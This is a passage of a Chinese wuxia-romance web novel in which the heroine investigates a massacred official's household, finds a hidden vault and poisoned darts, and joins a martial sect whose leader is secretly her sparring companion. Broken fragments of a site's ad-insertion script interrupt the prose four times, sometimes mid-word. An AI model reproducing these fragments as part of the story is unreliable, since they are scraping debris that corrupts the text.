事实证明,能得左相看重的人必然不是什么泛泛之辈——原来这梁桓曾是尊宣王白羽沅的人,二王对峙当日,他眼见白羽沅大势已去,便率先当了那墙头草。而后为向白夜澜邀功,更是将白羽沅的兵马势力抖了个干干净净,说一句卖主求荣绝不为过。 联想起白羽沅越狱潜逃一事,季音茅塞顿开:“我知道,肯定是白羽沅记恨这人吃里扒外,所以一出来就先给他灭了!” 一旁的白清旭笑出了声:“白羽沅这家伙,目中无人惯了,谁也不放在眼里。别说蓄意报复,他可能根本都不记得梁桓长什么模样。” 季音一噎:白羽沅......这家伙? “那是为了什么要杀人全家?”付子修反问:“盐运使......难道是为了钱?” 众人就这么你一言我一语的猜着,不知不觉竟到了梁府。 梁府大门被官府封得严严实实,多亏魏奚泽亮出手令,几人才得以进入探查。一路走下来,尸体虽已被清理,但那满院中深入石板的抓痕,斑驳遍地的血迹仍旧触目惊心。正厅桌椅七歪八扭,茶碗碎了一地,房梁吊着半根麻绳,仔细瞧去,内屋竟还有油泼满地,大火灼烧的痕迹。 此等惨状,就算是季音这种“半吊子杀手”,也看得眉头紧皱,更不用提魏奚泽怀里的梁怀澈与拽住裴诀不肯松手的付子修了。 众人一齐逛了一圈,魏奚泽便带着他那三个弟子去了内堂。付子修瞧着满地的血痕,压根没有下脚的地方,不知是嫌恶或是惊惧,表情比吃了只苍蝇还难看,犹豫片刻,还是选择跟着裴诀,很快消失在了廊前。 季音本不关心梁府之事,只是百余口人骤然横死,硕大的府邸竟莫名透露着阴森可怖的气息。独身一人调查总归不妥,她看了看身旁的白清旭,决定给自己找个搭子:“臭骗子,你不是自称无所不知,无所不晓吗?若真有江湖势力牵扯其中,依你看,这像是谁的手笔?” 她本以为这人会摇着折扇开始一番长篇大论的鬼扯,却不想对方一边饶有兴趣地盯着前厅,一边扯开了话题:“听闻这位梁大人是个古藏爱好者,平日里或买或抢,搜罗了不少宝贝。”他将目光转向季音:“怎么样,笨女人,要不要寻宝玩玩儿?” 季音白了他一眼:“在死者府里乱翻,若是被云天派那位长老发现,怕是没你好果子吃。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “诶,都是为了调查嘛,说不定还能逮到凶手呢。”说罢,白清旭提起折扇指了指大殿右上方:“你看这根房梁,有没有什么古怪?” 黑糊糊的能看清什么?季音不耐烦地咋了咋嘴,正要反驳,却突然瞥见一抹白色正飘飘悠悠地悬在房梁最里端。 这也确实不能怪她,要怪就怪这抹白色实在太过细微,若不是恰巧一阵穿堂风吹过,任谁也瞧不见这点儿微不足道的古怪。 “这是什么?”季音仰着脑袋看得费劲,末了实在忍不住了,撩起衣摆就要动身:“算了,等我上去看看!” 话音未落,只听“咔哒”一声,这房梁的一端竟如摆钟般转了下来,稳稳落于地面,原本藏在最里端的那块白色,瞬间转到了季音身侧。 她望着眼前像是衣角的白色布料,心下一惊,正要开口,那厢白清旭却像是早已料到她要问什么,悠悠道:“这梁府前窄后宽,开门见水,四角栽桑,足可见梁大人是个懂堪舆的。”顿了一顿,他又道:“可这梁的位置,却正正好好拦下财运,岂不古怪?” “懂得还挺多。”季音不服气地嘟囔了一句:“那你又如何得知机关在什么地方......” 不等她问完,“轰隆轰隆”的响动传来,房梁连着的整块地砖竟一同向下凹陷,很快一条漆黑的甬道便出现在二人面前。 “眼神好,没办法。”白清旭摊手,率先走了下去。 虽然很不想承认,但这家伙确然有些真本事在身上——如他所言,梁桓极爱收藏古玩珍宝,沿着甬道一路前行,尽是些被烧得残缺不全的名家字画,粉零麻碎的瓷器玉器,季音还被躺在路中间的佛像绊了一跤,多亏及时薅住白清旭的衣袖才勉强站稳。 白清旭看着袖子上的爪痕:“五十两。” 季音甩出飞针:“信不信我给你捅烂?” 因周遭一片漆黑,她看不清对方脸上的表情,便默认是被自己唬住了,四下张望一番后道:“啧,你说说那些凶手,杀人就算了,居然还毁了这么多宝贝,这得多少钱啊,真是可恶!” “也没多少钱。”白清旭随手捞起一把黑纸扇:“比如这个,就是赝品。” 这下可真给季音惊着了——方才的风水论,还能说他是为了招摇撞骗学了点儿皮毛,可眼下的古董鉴别,这哪儿是一日两日能练出来的?何况他又说得如此坦然,莫非真是个深藏不露的? 念及于此,季音故意摆出一副质疑的语气:“你怎么知道?” “因为真品在我家。” ......靠!世上多她一个有钱人会怎样?! 这密室建得极大,除了些奇珍异宝,还有不少古籍文册,只是烧的烧,毁的毁,剩下的残页拼在一起,也凑不出几个有用的字来。 季音望着面前被烧得黑黢黢的书架,刚想看看是否有幸存的书籍,却突然听得一阵窸窸窣窣的声音自左手边传来,随着一声惊呼,数枚毒镖瞬间飞出! 20. 国姓由来 “闪开!” 电光火石间,季音抽出一把飞针掷了出去——叮叮当当的碰撞声响起,原本毒镖的攻势被飞针悉数扭转,噼里啪啦插在了一旁的书架上。 “怎么了怎么了?!周序,你没事吧?!” 付子修边喊边冲了过来,瞧见不远处的季音,先是一怔,旋即懵道:“女侠姐姐?你怎么在这里?!” 季音也傻了:“正殿有个机关,我们顺着就下来了。”说完,她看向身旁之人——平平无奇的五官,老实巴交的神情,可不正是魏奚泽座下的那位大弟子! “说过不要乱跑,你是拿我的话当耳旁风不成?”这训人的口吻,熟悉的腔调,听得付子修还没回头就立刻苦脸求饶:“错了错了,裴兄,先看周序,等会儿再训呗。” 多亏季音的那排飞针,周序只是受了惊吓,并未受伤。确认无碍后,付子修对着季音眨起了星星眼:“出手干脆利索,不愧是女侠姐姐!” 季音这人是典型的吃软不吃硬,被夸得云里雾里,脸红心跳,赶紧岔开了话题:“对了,你们怎么会在一起,又是怎么到这里来的?” 一说这个付子修可来了精神,叽里呱啦就是一通声情并茂的讲解。原来他本想拉着裴诀离开这阴气森森的梁府,却不料撞上了神色匆匆的周序。询问得知,周序瞧见了一道行迹鬼祟的可疑黑影,只是追到后院便不见了行踪。三人四处搜寻,一无所获。这时裴诀提出或许有密室暗道也不无可能,一番寻找,果然找到了暗门所在。 “我本想查看贼人是否躲在这附近,却不料误触机关。幸得季音姑娘所救,大恩大德,无以为报。”周序说得热泪盈眶,拉着季音不停道谢。季音有些不好意思,赶紧拔出插在书架上的飞镖,试图分散大家的注意力。 只是询问的话还没说出口,她却突然眉头紧蹙,僵愣在原地,没有动作。 付子修见季音这副样子,迅速凑了过来:“怎么了女侠姐姐?难道这毒镖摸一下就会中毒?!” 作答的是白清旭:“若真有这种毒镖,只怕整个百兵榜都要更新换代了。” 季音没心思玩笑,一把将毒镖递到他面前:“臭骗子,你看这个,是不是......” 她身为毒宗弟子,对这些东西本就极为敏感,几近过目不忘。眼前这只毒镖,无论是颜色,样式,甚至连上面淬的毒,都与那夜彩戏刺中她的别无二致! 白清旭嘴角一扬:“嗯,记得挺清楚。” “彩戏?”周序吓了一跳:“可是问天府的十二血影之一?难道这梁府惨案竟是问天府的手笔?!” 听得此话,裴诀将目光转向周序,眸光微闪:“方才周公子独身追捕可疑之人,不知那位背着巨剑的少年眼下身在何处,为何未与你一同行动?” 像是被问到了棘口之事,沉默半晌后周序才吞吞吐吐道:“实不相瞒,谢师弟天资聪颖,特立独行,而我这个当师兄的却骨根极差,所以......” 话中意思很明白了——显然,聪明的看不上愚笨的,谢闻潇看不起他这个师兄,而周序又是个忍气吞声的性格,两人的关系自然不言而喻。 裴诀心下了然,适时接过话茬:“眼下情形,或许问天府仍派了人手在梁府监视也未可知。” “啊?那这里岂不是很危险!”付子修拽过裴诀与季音就往外跑:“看吧,我说什么来着,这梁府阴气森森的,不宜久留,快走快走!” 周序也道:“是啊,要抓紧回禀师父才好。” 他刚要转身跟上,却突觉背后撞到一人,猛地回头,正对上白清旭那双带笑的眸子。 先前季音评价,白清旭这家伙,老奸巨猾,骗人成性,特别是那张笑脸,总给人一种被他坑了的错觉。更奇怪的是,他明明是笑的模样,可就是让人感觉不到这笑里有半分喜悦。 周序一愣:“钱公子......还有什么事么?” 白清旭将毒镖递给他:“听闻天玑长老座下的大弟子向来心细如发,尤擅机关之术,今日这是怎么了?” 周序挠头道:“许是我太心急了,只想快点儿找到贼人,一时没注意才会着了敌人的道。”他接过毒镖:“这既是线索,还需呈给师父看过。若您没有其他事情,我便先告退了。” 白清旭看着他将毒镖揣到口袋,眉梢微弯:“啊,没事了,周公子慢走。” 经历方才这么一遭,付子修便拽着裴诀与季音不肯撒手了。裴诀似是习以为常,由他去了。季音则满脑子都是那晚与人屠和彩戏两人过招时的情景,便也任凭付子修又拖又扯。 仔细想来,当日她身负重伤后,彩戏确实说过“还有更重要的任务”之类云云,莫非那更重要的任务就是屠了梁家满门?! 不,看梁府这副惨状,只凭人屠与彩戏断然做不到,难道还有其他高手参与其中? 就在这时,付子修来了一句:“连密室都被烧了,整个梁府已经没有能待的地方了,咱们还是去门口等吧!” 这话给季音提了醒。难怪她一直觉得有什么地方不对劲——这梁府被毁成这副模样,连墙缝里的老鼠都流着半截肠子,梁怀澈一个手无缚鸡之力的孩子却活了下来? 话说回来,那臭骗子究竟是何时受的伤,又是怎么找到解药替她解毒的? 她满腹疑问,正要逼问,回头却不见白清旭的身影,瞬间慌了神:“......诶,那家伙人呢?!” 平日里虽嫌他毒舌嘴贱,但人冷不丁消失了,季音哪能视若无睹:“不会被贼人捉去了吧?!” 她转身就往回赶,跑了没两步,突然听得身后熟悉的声音传来:“承蒙关照,毫发未损。” 季音顿住脚步,松了口气。 等等......她为什么要紧张这个臭骗子啊?! 脑袋似是猛地清醒,她赶紧出言反驳:“关心你?笑死人了。我是看大家闹了这么半天都累了,你要真有幸丢了小命,正好摆席庆祝庆祝,活跃一下气氛。” “好主意。”白清旭摇着折扇道:“刚好也到饭点了。既然季音姑娘有心招待,咱们就去对街的临福楼如何?听说他家那道‘鲤跃龙门’汤鲜肉嫩,可谓上品佳肴。” 季音:“......你有没有听过一句话叫人至贱则无敌?” 白清旭点头:“啊,确实听过。若我记得不错,这话的意思是若一个人能看淡一切,不计较得失,不争强好胜,便能从容面对各种困难。” 他看向季音,轻轻一笑:“笨女人,你这是在夸我心胸豁达?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >季音无能狂怒:“这话是这个意思吗?!” 对方却仿若没有听见:“嗯......那我确实无敌。” “......你他妈是无耻吧?!” 对梁府一番探查下来,除了彩戏的毒镖,并未有其他新的发现。梁怀澈仍旧哭个不停,没有半点儿要开口说话的迹象,魏奚泽见天色已晚,也只得作罢。最后几人确实去吃了临福楼的“鲤跃龙门”,只是有付子修这位小公子在,根本轮不到季音结账:“这顿我请,大家别客气,敞开了吃!” 经历梁府一事,加之周序的连连称赞,季音很快就拉进了与魏奚泽的关系。在前往云天派的路上,季音趁机打听了不少有关白清旭的事情,譬如模样甚佳,潇洒任真,沉稳包容,心怀天下,听得她一愣一愣的:“这......这与江湖传言也差太多了吧?!” 魏奚泽笑着解释:“江湖传言多为空穴来风,掺假少真,不可全信。” 记得上一个这样玩反差的,还是付子修口中的钱来楼老板——白清旭。 想到这里,季音看了白清旭一眼,却发现他似乎并未在听魏奚泽说话,只是望向窗外,神色淡然。 “掌门年纪轻轻便挑起云天重担,是极富责任感的将帅之才。”说罢,魏奚泽望向白清旭,莞尔道:“诸位此番前来云天拜师学艺,若能见到掌门,便会发现,掌门其实是个内心非常温柔的人。” 付子修拍了拍裴诀:“裴兄,这好像跟你说的白清旭不太一样啊。” 裴诀淡淡道:“仁者见仁,智者见智。世言百闻不如一见,你若当真好奇,不如亲自拜访结识。” 付子修撇嘴:“他可是巅峰榜上的大人物,我自然会拜访的!” 季音则是一脸怀疑,接着问出了一直以来最为好奇的问题:“其实我一直想问,你们掌门这姓可是国姓啊,难道他还与皇室沾亲带故?” “并非如此。”魏奚泽答道:“诸位既是求师问道的江湖侠士,想必定然听说过我派前任掌门徐君彦医治永逸王殿下之事?” 季音点了点头。 关于这位六皇子永逸王,她确实曾听那些下山历练的师兄师姐们讲过一些。 传闻他幼年生过一场重病,且病症极为罕见,宫中太医均束手无策,已到了药石罔效的弥留之际。 危在旦夕之时,白曦下旨寻天下神医,只要能治好六皇子,必重重有赏。 恰逢徐君彦游历归来,揭榜入宫。在众人半信半疑的目光下,昏厥数日的六皇子居然真的睁开了眼睛。 只是病去如抽丝,即使侥幸捡回一条性命,也还是逃不过体虚多病的下场。 此后,六皇子便闭门不出,仿若与世隔绝。 时间长了,坊间关于六皇子身患残疾的传言便愈演愈烈——但他究竟得了什么病,又是怎么被治好的,恐怕除了徐君彦外,天下再无一人知晓。 “永逸王病愈后,文昭帝龙颜大悦,金银赏赐若雨后春笋,甚至只要老掌门点头,便可直接入朝为官。” 魏奚泽顿了一顿:“但出乎所有人的意料,老掌门不要金银财宝,高官厚禄,只想替座下小弟子求取国姓,愿他得皇室相护,此生平安顺遂。” 季音道:“然后呢?文昭帝答应了?” 21. 亲传弟子 魏奚泽点头:“嗯,答应了。不仅亲赐国姓,昭告天下,甚至特许老掌门自由出入皇宫,就连江湖中人最为关注的封神比武,也是因老掌门而设立。” 季音:“......为啥我只听出来了一个宠弟子的师父和一个爱儿子的爹?” 感慨片刻,她又问道:“话说回来,这梁府为何会有如此精巧的机关?那个梁桓不是什么盐运使吗,还懂这些?” 接话的是裴诀:“那机关鬼斧神工,足见制造者慧心巧思。不出意外,当是琼燕派的手艺。” 琼燕派除却左护法莫云骁,其余门派中人皆为女子。因女子擅智不擅力,故而琼燕派以精妙绝伦的机关术跻身五大正派之一。 说起这五大正派,除却末名派,季音最为熟悉的便是琼燕派了。至于原因,倒也简单——那位左护法莫云骁,乃是她师父程十鸢此生无缘的心上人。 若将这两人的爱恨情仇徐徐道来,只怕说上三天三夜也说不完。但真要正儿八经的讲上一讲,也不过是正邪两立,有缘无分罢了。 思绪回归,季音继续道:“怎么,难不成梁府还与琼燕派有牵扯?” 裴诀道:“当今皇后在嫁于文贤帝前,曾是莫云骁座下的弟子。二王争位时,梁桓背弃白羽沅,勇于进言。故而文贤帝登基后,为褒奖有功官员,赐了梁府许多封赏,而其中最引人注目的,便是由皇后娘娘亲自设计的机关图纸。” 此话一出,又引得付子修一番关于“皇后娘娘?琼燕派?你怎么不早说?!”“完全看不出来,这也太厉害了!”之类的长篇大论。裴诀被吵得头疼,索性转过身子,不再理会。周序忙着照看梁怀澈,又哄又抱,一时半会儿什么也顾不上。至于谢闻潇,孤身而坐,抱着巨剑,低头一言不发。也就只有魏奚泽,不忍看他一人激动,时不时答上一两句应和。 季音聊的累了,想倒点儿水润润嗓子,目光不经意瞥见白清旭,却发现这家伙一改往日嬉皮笑脸的模样,仍旧望着窗外,静静不发一言。 ...... 不对劲,特别不对劲! 要换作以前,她刚才问了那么多问题,这家伙早该“讥讽”她笨女人后悉数答出,末了还要来一句自己“无所不知”云云。怎得这次这么安静,安静的......季音咽了咽口水......有点儿吓人。 该不会又偷偷憋坏呢吧?! 季音本想凑过去吓他,但说实话,闭了嘴的臭骗子确实有几分姿色——身形挺拔,侧颜清俊,一双清浅眼眸敛在纤长睫羽下,像是在思考什么。 她哪里见过这副神情的白清旭,手中的糕饼一下没拿稳,啪嗒掉在了身上。 听到动静,白清旭转头。 四目相对,一时不言。 愣了半天,季音越发感觉这氛围不太对劲,率先开了口:“你......你看我干嘛?” “你没看我,又怎知我在看你?” 季音后悔:......真不该说话的! 白清旭看向她身上的糕饼:“琵琶糕,以其流心内馅闻名。啧啧,笨女人,看你这架势......是打算直接糊我脸上啊。” 这是实话,不过计划未遂就被拆穿,季音一边腹诽这家伙果然还是这幅死样,一边不忘反嘴找回场子:“放心,下次肯定成功,不让你失望!” 许是人多的缘故,前往云天派的路程竟显得格外短。特别是付子修,很有少年人活力十足的模样,一路上叽叽喳喳说个没完,用季音的话来讲,他本人就是解乏解闷的上上品。 季音最喜欢这种热热闹闹的氛围。在冥麟阁也是这样,一大家子人一起上课,一起吃饭,一起在背后讨论哪个师叔师伯,简直不要太幸福! 至于原因,可能是幼年流浪街头、不被接纳的那段时光,过得太孤单了,孤单到让她害怕,反感,厌恶,以至于哪怕是“以血还血”冥麟阁,都能成为她最珍惜的家。 云天派确然与冥麟阁大不相同。先说这景,冥麟阁位于霜余城的霜余山上,孤峰巍峨,峭壁生霜。一到冬日,暴雪封路,冰雹似石头,寻常人想靠两条腿爬上山,根本没有半分可能。 而这云天山,绿树成荫,流水潺潺,云雾缭绕。一路走来,多的是野兔松鼠这些小动物,怎么看怎么像是休闲养老的好去处。 “唉,要是冥麟阁也在这种地方就好了,这样就有打不完的山鸡了。” “打山鸡?”付子修闻言回头,眸子亮闪闪的,语气中满是压不住的兴奋:“怎么打怎么打?我还从来没打过呢!诶,要不咱们明天就去......” 看着裴诀那记杀过来的眼神,他越说气势越弱,生生将堵在嘴边的话咽了回去。 “几位舟车劳顿,不如先移步客房休息片刻。待我处理完门内要紧事务,再与各位商讨拜师求学之事。” 魏奚泽留下这么一句话,又吩咐周序好生照料,便在一群举着半人高文册的弟子簇拥下匆匆离去了。 季音身为女子,不与他们同住,被周序带到了后山另一侧的客房。安排好茶水点心,周序正要告辞,却被季音喊住:“周公子,不知你们掌门如今可在云天山?” 周序摇头:“掌门行程,不是我们这些弟子可以打听的。” 猜也猜到是这个答案。季音瞧周序亦是疲惫不堪,不好意思继续打扰,迅速道谢后便关了房门。 眼下已成功混入云天派,接下来便是拜谁为师这一要紧事。说实话,凭借周序在魏奚泽面前对自己那番情真意切的夸赞,季音认为她在拜师这事上已取得了莫大优势。只是没想到,这优势似乎有些太大了,大到“季音”二字一夜之间火遍了整个云天派。 “什么?!咱们掌门收了个亲传弟子?!真的假的?!” “昨日天玑长老在重霄殿亲口说的,那能有假?!” “不只如此,听说掌门还准他自由出入云天山巅!云天山巅,那可是从不让任何人出入的掌门居所啊!” “等等等等!不是,这人谁啊,什么来头,怎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么上来就被掌门看中了?!” “就是说啊!咱哥几个进来多少年了,别说当上掌门弟子了,就是连掌门的影子都没见着啊!” “到底谁说掌门逍遥作乐去了,这明明是去外面找好苗子去了!” “啥好苗子啊!我可听说那姑娘长得妖冶美艳,看上去精明得很!别是咱们掌门在外头花天酒地,欠债太多,被人讹上了吧?!” “什么?!还是个女弟子?!” “你们几个聊什么呢,课业可都温习好了?” 话音未落,聚在一起的几个弟子“轰”的散开。瞧清来人,长吁短叹之声接连响起,刚散开的圈又迅速围了起来。 没办法,谁让天玑长老魏奚泽是整个云天派出了名的好脾气呢! “魏长老,掌门到底为什么突然收徒弟了?” 魏奚泽温言:“明日的轻功考核,你们可都练会了?” “魏长老,听说那个新弟子长得特别好看,真的假的?” 魏奚泽依旧温言:“本次补考,将由天璇长老亲自督办......” 不待他说完,原本还嘻嘻哈哈的众人顿时垮了脸,个个溜得比兔子还快,瞬间不见了踪影。 一旁的周序愣道:“看来......天璇长老的名号仍是令人闻风丧胆的存在啊。” 魏奚泽莞尔,不由得回忆起昨日的那番谈话。 “掌门,您回来了。” 白清旭俯身书案前,像是正在翻找什么。瞧见来人,他眉间一松:“啊,奚泽,你来得正好。” 魏奚泽恭敬行礼:“前几日掌门隐瞒身份,故而属下言语多有不敬。此间种种,还请掌门责罚。” “你既说我是故意隐瞒,责任在我,何必领罚?”白清旭打开柜门:“哎呀,没茶了。奚泽,喝酒吗?” 魏奚泽慌忙抬头:“属下并非此意......” “啧,我说你啊,这么多年了,老毛病是一点儿都没改。”说罢,白清旭扔出一只酒壶:“放心,不是烈酒。” 见此情形,魏奚泽自知不必再多言,长叹一声,转了话题:“掌门,半月前您差人带回怀澈,却并未言明梁府究竟发生了何事。” 白清旭抿了口酒:“那晚我赶到时,梁府上下除了这孩子,已无一人生还。师兄本想带他走,被我拦下了。” 魏奚泽一怔:“何洛闵也在?” 白清旭笑道:“梁桓不是傻子。白羽沅越狱后,他便在府里养了不少暗卫。单凭那几位血影,如何血洗梁府?” 魏奚泽了然,旋即问道:“那您手腕处的伤,可是为护怀澈所致?” ...... 那夜救下梁怀澈后,白清旭摇着折扇站在了彩戏面前。 彩戏捂着鲜血淋漓的肩膀:“你想做什么?!” 白清旭从怀中取出一只毒镖:“天色不早了,我呢,也着急下馆子搓顿好的。所以......麻烦几位交个解药,咱们也好早些回去休息,如何?” 22. 豪华客房 屋内炉香乍爇,白清旭看着面前一脸担忧的魏奚泽,有些无奈:“没办法,问天府那些人太热情了,非要拉着我比试切磋,我也不好驳了师兄的面子不是?” 眼见得不到自己想要的答案,魏奚泽便也不再追问:“话说回来,问天府为何会突然对梁家动手?” 白清旭沉吟片刻:“奚泽,近日灵州城或许会发生很多事情。接下来这段时间,恐怕还要辛苦你与妙言师叔了。” “属下明白,掌门放心便是。”魏奚泽顿了一顿:“山下险象横生,别有用心之人暗中作祟,也请掌门照顾好自己。” 白清旭笑道:“那是当然。” 魏奚泽莞言:“对了,那几位前来拜师学艺的客人......月前左相府便来信告知,希望我们多加关照。属下瞧那位名唤付子修的少年至情至性,率真洒脱,是个好苗子,不如......” “啊,你说他们几个。”白清旭摇着酒壶:“既如此,这两个小公子便交给你了。” 顿了一顿,他眉梢微挑:“至于那个笨女人......” “什么?!你说你们掌门......要收我作他的徒弟?!”重霄殿上,季音看着一脸和善的魏奚泽,愣在原地:“可......可是我跟他连面都没见过啊......” 虽说若要拿到空青扇,拜云天掌门为师那是上上良策,但这是不是顺利的有些......太过诡异了?! 魏奚泽道:“掌门说,他与姑娘命有此缘,眼虽不见,心已见。” 季音挠头:“你们掌门......听起来好像跟那个臭骗子是一卦的,他确定没收错徒弟?” 其实魏奚泽也非常好奇,掌门究竟为何对这位季音姑娘如此照拂。 “受人之托,忠人之事。”记得白清旭是这样回答他的:“如今问天府步步紧逼,我不能一直在她身边,云天......暂可护她周全。” 魏奚泽迟疑半晌,还是问道:“季音姑娘......究竟是您什么人?” 白清旭咽下最后一口酒,轻轻一笑:“她啊......一个很多年不见的朋友。” 应该....是朋友吧。 他面前突然浮现出一张气鼓鼓的小脸。 粉雕玉琢,憨态可掬,仔细看去,竟隐约能瞧出几分季音的模样。 “我最讨厌你了!” 九岁的白清旭愣在原地,眉梢微挑,手里还拿着掺了辣椒面的糕点。 魏奚泽看着白清旭的神情,心下了然。 他与掌门相识多年,除了末名派的萧夙墨公子,从不知掌门还有其他朋友。 所以......当真是很重要的人吧。 想到这里,魏奚泽看向季音:“掌门亲口所言,不会有错。” “掌门近日因事外出,临走前曾特意吩咐,云天山巅掌门居所的整理清扫,将交由季音姑娘负责。” 主人不在?居所还让她整理?那岂不是敞开大门让她偷?! 一旁的付子修不乐意了:“等等,清扫?我们是来拜师学艺的,不是来给你们打扫卫生......唔唔!女侠姐姐,你捂我嘴干嘛!” 季音勉强压下上扬的嘴角:“包在我......啊不,包在弟子身上!” “话说回来......”她四下打量一番:“怎么不见那个臭骗子?他不是也要拜师吗?” 魏奚泽道:“钱惜公子收到急信,说是钱来楼出了棘手之事,已启程赶往东豫城了。” 听得此话,裴诀抬眸,唇瓣微动。 “就......走了?”季音顿时感觉有什么地方不对劲,但又说不出来究竟是哪里不对劲,沉默半晌后来了一句:“走了好啊,希望是钱来楼关门大吉了!” 于是,在行了拜师礼,付子修抢着交了十倍不止的学艺费后,季音便被带到了她的卧房。 与其说是卧房,倒不如说是栋水榭。水榭并不与门内其他弟子的居所相邻,而是另在一处更为清幽的地方,四面开敞,视野宽广,可见潺潺溪水蜿蜒而过。 随着屋门被推开,季音惊了:“不是......做你们掌门的弟子......住这么好吗?!” 确然不是她夸张——瞧那四方大卧榻,雕花紫檀桌,甚至连镶着梨花镜的梳妆台都一应齐全。再一低头,炉中焚的也不是寻常香料,而是季音只在话本中见过的蘅芜香。 这居住环境,这内饰装潢,不说是来拜师,她真要以为自己发了什么大财呢。 带她来的小弟子显然也是第一次见,眼睛瞪得比铜铃还大:“这......这水榭空了许多年了,听说平时都是掌门亲自打扫整理,没想到......里面竟是这样的!” 小弟子交代好授课用膳的时间,硕大的屋子便只剩了季音一人。季音又仔细打量一圈,旁的没有异常,只是墙上挂了许多与装潢风格不符的画作。 画作纸张泛黄,看起来有些年头了,不过却能感觉出每一张都是被人极为用心的裱了起来。 季音从头到尾挨着看了一遍,一针见血地给出了评价:丑! 这是实话。画中那新奇大胆的用色,惊人眼球的笔法,着实可担一句“鬼斧神工”。而其中最丑的,毫无疑问,是一幅正在栽树的紫衣少年。 季音猜测,作画者肯定跟这个少年有什么深仇大怨——不然为什么画得他嘴歪眼斜,像缺心眼儿一样? 看了半天,她突然噗嗤笑了:“还真别说,倒跟那臭骗子有几分神似!” 次日清晨,季音望着自己身上白到发光的校服,笑不出来了:“咱也不是挑,但这颜色真的太显黑了啊!” 从前闲得无聊时,季音曾对五大正派的校服做过一次点评。最好看的,毋庸置疑,必须是琼燕派的银朱长裙。毕竟是女弟子最多的门派,别的暂且不提,单说那衣裳的裁剪缝制,就远甩其他门派几条街。 然后是未央宫的翠微衫。低调内敛的绿色,辅以精致的刺绣纹样与流苏挂饰,确然可称上品。而繻泯观,季音没什么好说的——他家从里到外都是一水的蓝色,掌门穿墨蓝,长老穿深蓝,弟子穿浅蓝,甚至连派徽都是蓝底的八卦图。 至于为何将末名派排 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在最后,门派恩怨暂且放下不提:“第一,黑色,夏日阳光一晒,那还不热得跟蒸笼似的?第二,也是最重要的一点,没兜!不是,没有口袋,考试小抄都带不进去啊!” 季音忍不住回想起穿衣自由的冥麟阁。听闻多年前,冥麟阁的老阁主——司玄的祖父,曾想过统一着装,用以规整门内弟子。却不料为了校服款式,五宗弟子大打出手,差点儿掀了霜余山。从此以后,大家心照不宣,再无一人提起校服之事。 “女侠姐姐,你起得好早。” 膳房内,付子修端着早饭,打着哈欠坐在了季音面前。 确然如此。在季音十余年的学习生涯中,向来是巳时作,丑时息,火葬场里烧自己。平日里别说早饭,连午饭都是勉强赶上。若让程十鸢瞧见,定会怀疑她这个徒弟是不是被夺舍了。 季音笑了两声,没说自己是因为外出勘察地形,一宿没睡。 她望着付子修眼下两圈乌青:“子修,你这又是什么情况?” 答话的是裴诀:“与几个云天弟子彻夜闲聊,活该如此。” 付子修不服气:“裴兄,你说这话我可就不爱听了!什么叫闲聊,我这明明是打探消息,快速合群!” “那你都打听到什么?” 裴诀问得快,付子修接得也快,略显得意道:“哼,求求小爷就跟你分享。” 死一般的沉寂。 裴诀放下筷子,端着碗碟就要走。 “诶诶诶!”付子修慌了,一把拉住他,满脸幽怨:“玩笑都开不起,裴兄,你真无聊。” “你是来拜师学艺,不是来开玩笑的。” 通过这段时间的相处,季音自诩了解了这两人的相处方式。左右裴诀不会真生付子修的气,付子修也不会真惹裴诀生气,便淡定地继续喝茶。 果然,付子修只是气呼呼地瞪了裴诀一眼,再不敢有其他动作,老老实实讲了起来。 “咱们来的不巧,刚好赶上秦琴太师叔出关,不出意外,等会儿第一堂课就是他的。” “琴琴?”季音懵了。她知道付子修是个自来熟,跟谁都能聊上两句,但再怎么外向,也不能刚来就“琴琴”这般亲昵地叫上了吧? 况且,这好像勾栏名将的称呼是怎么回事?! 裴诀见状,摇了摇头,解释起来。 原来云天派除了出过一个霸榜十年的天下第一徐君彦,还有一位世称“铁面阎罗”的秦琴。此人乃徐君彦的同宗师弟,据说他当年还是门生时,便严于律己,严以待人。那规律至极的生活,偏执古板的习性,令云天派一众老前辈望尘莫及。 后来徐君彦身死,秦琴便留在门内教习弟子,做了授业先生。随着年纪渐大,“德高望重”的名号也就打了出去——这倒并非乱说,传言不管多懒散的拖沓性格,只要在他手底下受教几年,保准变得勤奋上进,哪怕是滩在地里的烂泥,都能顺着墙往上爬。 其实季音在脾性上绝非拖沓之人,为人处事向来是一不做二不休,断没有干到一半中途放弃的道理。 但显然,习性上她无从狡辩—— 23. 第一堂课 ——濯发浣衣从来都是拖了明天拖后天,课业更不用说,不到最后一天绝不动笔,并且坚持“学过的都会了,不需要温习,没学的早晚学,不必要预习”这一学习准则。 甚至再过分点儿,连罚站她都能拖:先是一天,不站,一天变两天,再不站,两天变四天,一般到十天往上时,她就会直接翘课在屋里睡觉。真要算起来,她得站到七老八十才能还清这笔巨账。 如此做派,却也并非季音故意挑战权威,目无师长。实在是她觉得自己都学明白了,练明白了,闲得无聊,与其屁股坐疼,不如逃课去玩。 “的确是铁面阎罗,不过我倒听说......他还有个诨号。” 付子修的声音将季音拉回了现实:“什么?” “琴丫头!” “噗!” 季音差点儿没被茶水呛死:“咳咳咳......啊?!你不说他是个留着山羊须的老头儿?” 也许有人会问:“他不是极为自律吗,怎会不刮胡子?” 这便与“琴丫头”名号的由来有关了。说起“铁面阎罗”,世人第一时间想到的都是膀大腰圆,五大三粗这类形容。其实不然,秦琴此人生得细柳高挑,唇红齿白,据说十余年前初到云天时,大家伙儿都以为来了个模样俊俏的小姑娘。 不止同门师兄弟认错,谣言甚至还传到了末名派。末名派有春夏秋冬四阁,如今的夏阁长老、当年还是夏阁大弟子的苏鹤,听闻云天派来了个不苟言笑的冰山美人,立马下了战贴,说什么也要跟人家面对面打上一场。 秦琴初入江湖,少年心性,无所畏惧,极为干脆地答应下来。 这可给苏鹤高兴坏了。比武当日,苏鹤精心打扮,带着一箩筐胭脂水粉就上了云天山。 结果可想而知,两个二十多岁的大小伙子大眼瞪小眼,场面一度混乱。 听到这里,季音已经开始笑了:“然后呢?” 